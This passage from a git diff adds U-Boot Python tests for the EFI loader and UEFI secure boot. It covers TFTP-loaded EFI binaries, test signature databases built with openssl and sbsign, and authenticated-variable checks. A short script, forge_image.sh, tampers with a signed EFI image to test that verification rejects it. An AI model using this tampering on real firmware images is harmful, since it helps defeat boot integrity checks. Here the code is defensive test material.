+ launch_efi(False, False)
+ # - fdt ON, gzip OFF
+ launch_efi(True, False)
+
+ if is_sandbox:
+ # - fdt OFF, gzip ON
+ launch_efi(False, True)
+ # - fdt ON, gzip ON
+ launch_efi(True, True)
+
+ finally:
+ if is_sandbox:
+ # Go back to the original U-Boot with the correct dtb.
+ cons.config.dtb = old_dtb
+ cons.restart_uboot()
diff --git a/test/py/tests/test_efi_loader.py b/test/py/tests/test_efi_loader.py
new file mode 100644
index 00000000000..85473a9049b
--- /dev/null
+++ b/test/py/tests/test_efi_loader.py
@@ -0,0 +1,204 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+# Copyright (c) 2016, Alexander Graf <agraf@suse.de>
+#
+# based on test_net.py.
+
+# Test efi loader implementation
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which network environment is available for testing. Without this, the parts
+that rely on network will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+ ('ipaddr', '10.0.0.100'),
+ ('netmask', '255.255.255.0'),
+ ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+env__efi_loader_helloworld_file = {
+ 'fn': 'lib/efi_loader/helloworld.efi', # file name
+ 'size': 5058624, # file length in bytes
+ 'crc32': 'c2244b26', # CRC32 check sum
+ 'addr': 0x40400000, # load address
+}
+"""
+
+import pytest
+import u_boot_utils
+
+net_set_up = False
+
+def test_efi_pre_commands(u_boot_console):
+ """Execute any commands required to enable network hardware.
+
+ These commands are provided by the boardenv_* file; see the comment at the
+ beginning of this file.
+ """
+
+ init_usb = u_boot_console.config.env.get('env__net_uses_usb', False)
+ if init_usb:
+ u_boot_console.run_command('usb start')
+
+ init_pci = u_boot_console.config.env.get('env__net_uses_pci', False)
+ if init_pci:
+ u_boot_console.run_command('pci enum')
+
+@pytest.mark.buildconfigspec('cmd_dhcp')
+def test_efi_setup_dhcp(u_boot_console):
+ """Set up the network using DHCP.
+
+ The boardenv_* file may be used to enable/disable this test; see the
+ comment at the beginning of this file.
+ """
+
+ test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+ if not test_dhcp:
+ env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+ if not env_vars:
+ pytest.skip('No DHCP server available')
+ return
+
+ u_boot_console.run_command('setenv autoload no')
+ output = u_boot_console.run_command('dhcp')
+ assert 'DHCP client bound to address ' in output
+
+ global net_set_up
+ net_set_up = True
+
+@pytest.mark.buildconfigspec('net')
+def test_efi_setup_static(u_boot_console):
+ """Set up the network using a static IP configuration.
+
+ The configuration is provided by the boardenv_* file; see the comment at
+ the beginning of this file.
+ """
+
+ env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+ if not env_vars:
+ test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+ if not test_dhcp:
+ pytest.skip('No static network configuration is defined')
+ return None
+
+ for (var, val) in env_vars:
+ u_boot_console.run_command('setenv %s %s' % (var, val))
+
+ global net_set_up
+ net_set_up = True
+
+def fetch_tftp_file(u_boot_console, env_conf):
+ """Grab an env described file via TFTP and return its address
+
+ A file as described by an env config <env_conf> is downloaded from the TFTP
+ server. The address to that file is returned.
+ """
+ if not net_set_up:
+ pytest.skip('Network not initialized')
+
+ f = u_boot_console.config.env.get(env_conf, None)
+ if not f:
+ pytest.skip('No %s binary specified in environment' % env_conf)
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ fn = f['fn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ expected_text = 'Bytes transferred = '
+ sz = f.get('size', None)
+ if sz:
+ expected_text += '%d' % sz
+ assert expected_text in output
+
+ expected_crc = f.get('crc32', None)
+ if not expected_crc:
+ return addr
+
+ if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+ return addr
+
+ output = u_boot_console.run_command('crc32 %x $filesize' % addr)
+ assert expected_crc in output
+
+ return addr
+
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.buildconfigspec('cmd_bootefi_hello_compile')
+def test_efi_helloworld_net(u_boot_console):
+ """Run the helloworld.efi binary via TFTP.
+
+ The helloworld.efi file is downloaded from the TFTP server and is executed
+ using the fallback device tree at $fdtcontroladdr.
+ """
+
+ addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_helloworld_file')
+
+ output = u_boot_console.run_command('bootefi %x' % addr)
+ expected_text = 'Hello, world'
+ assert expected_text in output
+ expected_text = '## Application failed'
+ assert expected_text not in output
+
+@pytest.mark.buildconfigspec('cmd_bootefi_hello')
+def test_efi_helloworld_builtin(u_boot_console):
+ """Run the builtin helloworld.efi binary.
+
+ The helloworld.efi file is included in U-Boot, execute it using the
+ special "bootefi hello" command.
+ """
+
+ output = u_boot_console.run_command('bootefi hello')
+ expected_text = 'Hello, world'
+ assert expected_text in output
+
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.buildconfigspec('cmd_bootefi')
+def test_efi_grub_net(u_boot_console):
+ """Run the grub.efi binary via TFTP.
+
+ The grub.efi file is downloaded from the TFTP server and gets
+ executed.
+ """
+
+ addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_grub_file')
+
+ u_boot_console.run_command('bootefi %x' % addr, wait_for_prompt=False)
+
+ # Verify that we have an SMBIOS table
+ check_smbios = u_boot_console.config.env.get('env__efi_loader_check_smbios', False)
+ if check_smbios:
+ u_boot_console.wait_for('grub>')
+ u_boot_console.run_command('lsefisystab', wait_for_prompt=False, wait_for_echo=False)
+ u_boot_console.wait_for('SMBIOS')
+
+ # Then exit cleanly
+ u_boot_console.wait_for('grub>')
+ u_boot_console.run_command('exit', wait_for_prompt=False, wait_for_echo=False)
+ u_boot_console.wait_for(u_boot_console.prompt)
+ # And give us our U-Boot prompt back
+ u_boot_console.run_command('')
diff --git a/test/py/tests/test_efi_secboot/conftest.py b/test/py/tests/test_efi_secboot/conftest.py
new file mode 100644
index 00000000000..ff7ac7c8101
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/conftest.py
@@ -0,0 +1,244 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+
+"""Fixture for UEFI secure boot test."""
+
+from subprocess import call, check_call, CalledProcessError
+import pytest
+from defs import *
+
+@pytest.fixture(scope='session')
+def efi_boot_env(request, u_boot_config):
+ """Set up a file system to be used in UEFI secure boot test.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A path to disk image to be used for testing
+ """
+ image_path = u_boot_config.persistent_data_dir
+ image_path = image_path + '/test_efi_secboot.img'
+
+ try:
+ mnt_point = u_boot_config.build_dir + '/mnt_efisecure'
+ check_call('rm -rf {}'.format(mnt_point), shell=True)
+ check_call('mkdir -p {}'.format(mnt_point), shell=True)
+
+ # suffix
+ # *.key: RSA private key in PEM
+ # *.crt: X509 certificate (self-signed) in PEM
+ # *.esl: signature list
+ # *.hash: message digest of image as signature list
+ # *.auth: signed signature list in signature database format
+ # *.efi: UEFI image
+ # *.efi.signed: signed UEFI image
+
+ # Create signature database
+ # PK
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_PK/ -keyout PK.key -out PK.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s PK.crt PK.esl; %ssign-efi-sig-list -t "2020-04-01" -c PK.crt -k PK.key PK PK.esl PK.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # PK_null for deletion
+ check_call('cd %s; touch PK_null.esl; %ssign-efi-sig-list -t "2020-04-02" -c PK.crt -k PK.key PK PK_null.esl PK_null.auth'
+ % (mnt_point, EFITOOLS_PATH), shell=True)
+ # KEK
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_KEK/ -keyout KEK.key -out KEK.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s KEK.crt KEK.esl; %ssign-efi-sig-list -t "2020-04-03" -c PK.crt -k PK.key KEK KEK.esl KEK.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # db
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_db/ -keyout db.key -out db.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s db.crt db.esl; %ssign-efi-sig-list -t "2020-04-04" -c KEK.crt -k KEK.key db db.esl db.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # db1
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_db1/ -keyout db1.key -out db1.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s db1.crt db1.esl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key db db1.esl db1.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # dbx (TEST_dbx certificate)
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_dbx/ -keyout dbx.key -out dbx.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s dbx.crt dbx.esl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx.esl dbx.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # dbx_hash (digest of TEST_db certificate)
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -s 256 db.crt dbx_hash.crl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx_hash.crl dbx_hash.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -s 384 db.crt dbx_hash384.crl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx_hash384.crl dbx_hash384.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -s 512 db.crt dbx_hash512.crl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx_hash512.crl dbx_hash512.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # dbx_hash1 (digest of TEST_db1 certificate)
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -s 256 db1.crt dbx_hash1.crl; %ssign-efi-sig-list -t "2020-04-06" -c KEK.crt -k KEK.key dbx dbx_hash1.crl dbx_hash1.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # dbx_db (with TEST_db certificate)
+ check_call('cd %s; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx db.esl dbx_db.auth'
+ % (mnt_point, EFITOOLS_PATH),
+ shell=True)
+
+ # Copy image
+ check_call('cp %s/lib/efi_loader/helloworld.efi %s' %
+ (u_boot_config.build_dir, mnt_point), shell=True)
+
+ # Sign image
+ check_call('cd %s; sbsign --key db.key --cert db.crt helloworld.efi'
+ % mnt_point, shell=True)
+ # Sign already-signed image with another key
+ check_call('cd %s; sbsign --key db1.key --cert db1.crt --output helloworld.efi.signed_2sigs helloworld.efi.signed'
+ % mnt_point, shell=True)
+ # Create a corrupted signed image
+ check_call('cd %s; sh %s/test/py/tests/test_efi_secboot/forge_image.sh helloworld.efi.signed helloworld_forged.efi.signed'
+ % (mnt_point, u_boot_config.source_dir), shell=True)
+ # Digest image
+ check_call('cd %s; %shash-to-efi-sig-list helloworld.efi db_hello.hash; %ssign-efi-sig-list -t "2020-04-07" -c KEK.crt -k KEK.key db db_hello.hash db_hello.auth'
+ % (mnt_point, EFITOOLS_PATH, EFITOOLS_PATH),
+ shell=True)
+ check_call('cd %s; %shash-to-efi-sig-list helloworld.efi.signed db_hello_signed.hash; %ssign-efi-sig-list -t "2020-04-03" -c KEK.crt -k KEK.key db db_hello_signed.hash db_hello_signed.auth'
+ % (mnt_point, EFITOOLS_PATH, EFITOOLS_PATH),
+ shell=True)
+ check_call('cd %s; %ssign-efi-sig-list -t "2020-04-07" -c KEK.crt -k KEK.key dbx db_hello_signed.hash dbx_hello_signed.auth'
+ % (mnt_point, EFITOOLS_PATH),
+ shell=True)
+
+ check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat {} {}'.format(
+ mnt_point, image_path), shell=True)
+ check_call('rm -rf {}'.format(mnt_point), shell=True)
+
+ except CalledProcessError as exception:
+ pytest.skip('Setup failed: %s' % exception.cmd)
+ return
+ else:
+ yield image_path
+ finally:
+ call('rm -f %s' % image_path, shell=True)
+
+#
+# Fixture for UEFI secure boot test of intermediate certificates
+#
+
+
+@pytest.fixture(scope='session')
+def efi_boot_env_intca(request, u_boot_config):
+ """Set up file system for secure boot test.
+
+ Set up a file system to be used in UEFI secure boot test
+ of intermediate certificates.
+
+ Args:
+ request: Pytest request object.
+ u_boot_config: U-Boot configuration.
+
+ Return:
+ A path to disk image to be used for testing
+ """
+ image_path = u_boot_config.persistent_data_dir
+ image_path = image_path + '/test_efi_secboot_intca.img'
+
+ try:
+ mnt_point = u_boot_config.persistent_data_dir + '/mnt_efi_secboot_intca'
+ check_call('rm -rf {}'.format(mnt_point), shell=True)
+ check_call('mkdir -p {}'.format(mnt_point), shell=True)
+
+ # Create signature database
+ # PK
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_PK/ -keyout PK.key -out PK.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s PK.crt PK.esl; %ssign-efi-sig-list -c PK.crt -k PK.key PK PK.esl PK.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # KEK
+ check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_KEK/ -keyout KEK.key -out KEK.crt -nodes -days 365'
+ % mnt_point, shell=True)
+ check_call('cd %s; %scert-to-efi-sig-list -g %s KEK.crt KEK.esl; %ssign-efi-sig-list -c PK.crt -k PK.key KEK KEK.esl KEK.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+
+ # We will have three-tier hierarchy of certificates:
+ # TestRoot: Root CA (self-signed)
+ # TestSub: Intermediate CA (signed by Root CA)
+ # TestCert: User certificate (signed by Intermediate CA, and used
+ # for signing an image)
+ #
+ # NOTE:
+ # I consulted the following EDK2 document for certificate options:
+ # BaseTools/Source/Python/Pkcs7Sign/Readme.md
+ # Please not use them as they are in product system. They are
+ # for test purpose only.
+
+ # TestRoot
+ check_call('cp %s/test/py/tests/test_efi_secboot/openssl.cnf %s'
+ % (u_boot_config.source_dir, mnt_point), shell=True)
+ check_call('cd %s; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestRoot.key 2048; openssl req -extensions v3_ca -new -x509 -days 365 -key TestRoot.key -out TestRoot.crt -subj "/CN=TEST_root/"; touch index.txt; touch index.txt.attr'
+ % mnt_point, shell=True)
+ # TestSub
+ check_call('cd %s; touch serial.new; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestSub.key 2048; openssl req -new -key TestSub.key -out TestSub.csr -subj "/CN=TEST_sub/"; openssl ca -in TestSub.csr -out TestSub.crt -extensions v3_int_ca -days 365 -batch -rand_serial -cert TestRoot.crt -keyfile TestRoot.key'
+ % mnt_point, shell=True)
+ # TestCert
+ check_call('cd %s; touch serial.new; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestCert.key 2048; openssl req -new -key TestCert.key -out TestCert.csr -subj "/CN=TEST_cert/"; openssl ca -in TestCert.csr -out TestCert.crt -extensions usr_cert -days 365 -batch -rand_serial -cert TestSub.crt -keyfile TestSub.key'
+ % mnt_point, shell=True)
+ # db
+ # for TestCert
+ check_call('cd %s; %scert-to-efi-sig-list -g %s TestCert.crt TestCert.esl; %ssign-efi-sig-list -c KEK.crt -k KEK.key db TestCert.esl db_a.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # for TestSub
+ check_call('cd %s; %scert-to-efi-sig-list -g %s TestSub.crt TestSub.esl; %ssign-efi-sig-list -t "2020-07-16" -c KEK.crt -k KEK.key db TestSub.esl db_b.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # for TestRoot
+ check_call('cd %s; %scert-to-efi-sig-list -g %s TestRoot.crt TestRoot.esl; %ssign-efi-sig-list -t "2020-07-17" -c KEK.crt -k KEK.key db TestRoot.esl db_c.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ ## dbx (hash of certificate with revocation time)
+ # for TestCert
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-20" -s 256 TestCert.crt TestCert.crl; %ssign-efi-sig-list -c KEK.crt -k KEK.key dbx TestCert.crl dbx_a.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # for TestSub
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-21" -s 256 TestSub.crt TestSub.crl; %ssign-efi-sig-list -t "2020-07-18" -c KEK.crt -k KEK.key dbx TestSub.crl dbx_b.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+ # for TestRoot
+ check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-22" -s 256 TestRoot.crt TestRoot.crl; %ssign-efi-sig-list -t "2020-07-19" -c KEK.crt -k KEK.key dbx TestRoot.crl dbx_c.auth'
+ % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+ shell=True)
+
+ # Sign image
+ # additional intermediate certificates may be included
+ # in SignedData
+
+ check_call('cp %s/lib/efi_loader/helloworld.efi %s' %
+ (u_boot_config.build_dir, mnt_point), shell=True)
+ # signed by TestCert
+ check_call('cd %s; %ssbsign --key TestCert.key --cert TestCert.crt --out helloworld.efi.signed_a helloworld.efi'
+ % (mnt_point, SBSIGN_PATH), shell=True)
+ # signed by TestCert with TestSub in signature
+ check_call('cd %s; %ssbsign --key TestCert.key --cert TestCert.crt --addcert TestSub.crt --out helloworld.efi.signed_ab helloworld.efi'
+ % (mnt_point, SBSIGN_PATH), shell=True)
+ # signed by TestCert with TestSub and TestRoot in signature
+ check_call('cd %s; cat TestSub.crt TestRoot.crt > TestSubRoot.crt; %ssbsign --key TestCert.key --cert TestCert.crt --addcert TestSubRoot.crt --out helloworld.efi.signed_abc helloworld.efi'
+ % (mnt_point, SBSIGN_PATH), shell=True)
+
+ check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat {} {}'.format(mnt_point, image_path), shell=True)
+ check_call('rm -rf {}'.format(mnt_point), shell=True)
+
+ except CalledProcessError as e:
+ pytest.skip('Setup failed: %s' % e.cmd)
+ return
+ else:
+ yield image_path
+ finally:
+ call('rm -f %s' % image_path, shell=True)
diff --git a/test/py/tests/test_efi_secboot/defs.py b/test/py/tests/test_efi_secboot/defs.py
new file mode 100644
index 00000000000..6a2317e295b
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/defs.py
@@ -0,0 +1,16 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Constants used for secure boot test."""
+
+# Owner guid
+GUID = '11111111-2222-3333-4444-123456789abc'
+
+# v1.5.1 or earlier of efitools has a bug in sha256 calculation, and
+# you need build a newer version on your own.
+# The path must terminate with '/'.
+EFITOOLS_PATH = ''
+
+# "--addcert" option of sbsign must be available, otherwise
+# you need build a newer version on your own.
+# The path must terminate with '/'.
+SBSIGN_PATH = ''
diff --git a/test/py/tests/test_efi_secboot/forge_image.sh b/test/py/tests/test_efi_secboot/forge_image.sh
new file mode 100644
index 00000000000..2465d10fa7b
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/forge_image.sh
@@ -0,0 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+#!/bin/sh
+
+replace_exp="s/H\0e\0l\0l\0o\0/h\0E\0L\0L\0O\0/g"
+perl -p -e ${replace_exp} < $1 > $2
diff --git a/test/py/tests/test_efi_secboot/openssl.cnf b/test/py/tests/test_efi_secboot/openssl.cnf
new file mode 100644
index 00000000000..f684f1df7e6
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/openssl.cnf
@@ -0,0 +1,48 @@
+[ ca ]
+default_ca = CA_default
+
+[ CA_default ]
+new_certs_dir = .
+database = ./index.txt
+serial = ./serial
+default_md = sha256
+policy = policy_min
+
+[ req ]
+distinguished_name = def_distinguished_name
+
+[def_distinguished_name]
+
+# Extensions
+# -addext " ... = ..."
+#
+[ v3_ca ]
+ # Extensions for a typical Root CA.
+ basicConstraints = critical,CA:TRUE
+ keyUsage = critical, digitalSignature, cRLSign, keyCertSign
+ subjectKeyIdentifier = hash
+ authorityKeyIdentifier = keyid:always,issuer
+
+[ v3_int_ca ]
+ # Extensions for a typical intermediate CA.
+ basicConstraints = critical, CA:TRUE
+ keyUsage = critical, digitalSignature, cRLSign, keyCertSign
+ subjectKeyIdentifier = hash
+ authorityKeyIdentifier = keyid:always,issuer
+
+[ usr_cert ]
+ # Extensions for user end certificates.
+ basicConstraints = CA:FALSE
+ keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment
+ extendedKeyUsage = clientAuth, emailProtection
+ subjectKeyIdentifier = hash
+ authorityKeyIdentifier = keyid,issuer
+
+[ policy_min ]
+ countryName = optional
+ stateOrProvinceName = optional
+ localityName = optional
+ organizationName = optional
+ organizationalUnitName = optional
+ commonName = supplied
+ emailAddress = optional
diff --git a/test/py/tests/test_efi_secboot/test_authvar.py b/test/py/tests/test_efi_secboot/test_authvar.py
new file mode 100644
index 00000000000..f99b8270a64
--- /dev/null
+++ b/test/py/tests/test_efi_secboot/test_authvar.py
@@ -0,0 +1,281 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+#
+# U-Boot UEFI: Variable Authentication Test
+
+"""
+This test verifies variable authentication
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiAuthVar(object):
+ def test_efi_var_auth1(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 1 - Install signature database
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 1a'):
+ # Test Case 1a, Initial secure state
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'printenv -e SecureBoot'])
+ assert '00000000: 00' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SetupMode')
+ assert '00000000: 01' in output
+
+ with u_boot_console.log.section('Test Case 1b'):
+ # Test Case 1b, PK without AUTHENTICATED_WRITE_ACCESS
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -i 4000000:$filesize PK'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 1c'):
+ # Test Case 1c, install PK
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'printenv -e -n PK'])
+ assert 'PK:' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SecureBoot')
+ assert '00000000: 01' in output
+ output = u_boot_console.run_command(
+ 'printenv -e SetupMode')
+ assert '00000000: 00' in output
+
+ with u_boot_console.log.section('Test Case 1d'):
+ # Test Case 1d, db/dbx without KEK
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 1e'):
+ # Test Case 1e, install KEK
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -i 4000000:$filesize KEK'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'printenv -e -n KEK'])
+ assert 'KEK:' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SecureBoot')
+ assert '00000000: 01' in output
+
+ with u_boot_console.log.section('Test Case 1f'):
+ # Test Case 1f, install db
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SecureBoot')
+ assert '00000000: 01' in output
+
+ with u_boot_console.log.section('Test Case 1g'):
+ # Test Case 1g, install dbx
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx.auth',
+ 'setenv -e -nv -bs -rt -i 4000000:$filesize dbx'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 dbx.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f dbx'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'dbx:' in ''.join(output)
+
+ output = u_boot_console.run_command(
+ 'printenv -e SecureBoot')
+ assert '00000000: 01' in output
+
+ def test_efi_var_auth2(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 2 - Update database by overwriting
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 2a'):
+ # Test Case 2a, update without AUTHENTICATED_WRITE_ACCESS
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
+ 'fatload host 0:1 4000000 PK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+ 'fatload host 0:1 4000000 KEK.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+ 'fatload host 0:1 4000000 db.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 2b'):
+ # Test Case 2b, update without correct signature
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db.esl',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+ assert 'Failed to set EFI variable' in ''.join(output)
+
+ with u_boot_console.log.section('Test Case 2c'):
+ # Test Case 2c, update with correct signature
+ output = u_boot_console.run_command_list([
+ 'fatload host 0:1 4000000 db1.auth',
+ 'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+ 'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+ assert 'Failed to set EFI variable' not in ''.join(output)
+ assert 'db:' in ''.join(output)
+
+ def test_efi_var_auth3(self, u_boot_console, efi_boot_env):
+ """
+ Test Case 3 - Append database
+ """
+ u_boot_console.restart_uboot()
+ disk_img = efi_boot_env
+ with u_boot_console.log.section('Test Case 3a'):
+ # Test Case 3a, update without AUTHENTICATED_WRITE_ACCESS
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % disk_img,
